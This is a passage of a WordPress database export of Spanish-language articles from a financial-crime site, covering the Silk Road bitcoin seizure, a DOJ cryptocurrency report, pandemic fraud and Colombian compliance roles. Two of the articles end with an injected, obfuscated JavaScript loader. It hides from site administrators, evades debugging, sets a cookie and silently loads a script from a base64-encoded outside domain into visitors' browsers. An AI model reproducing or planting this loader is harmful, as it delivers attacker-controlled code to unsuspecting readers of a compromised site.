servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad 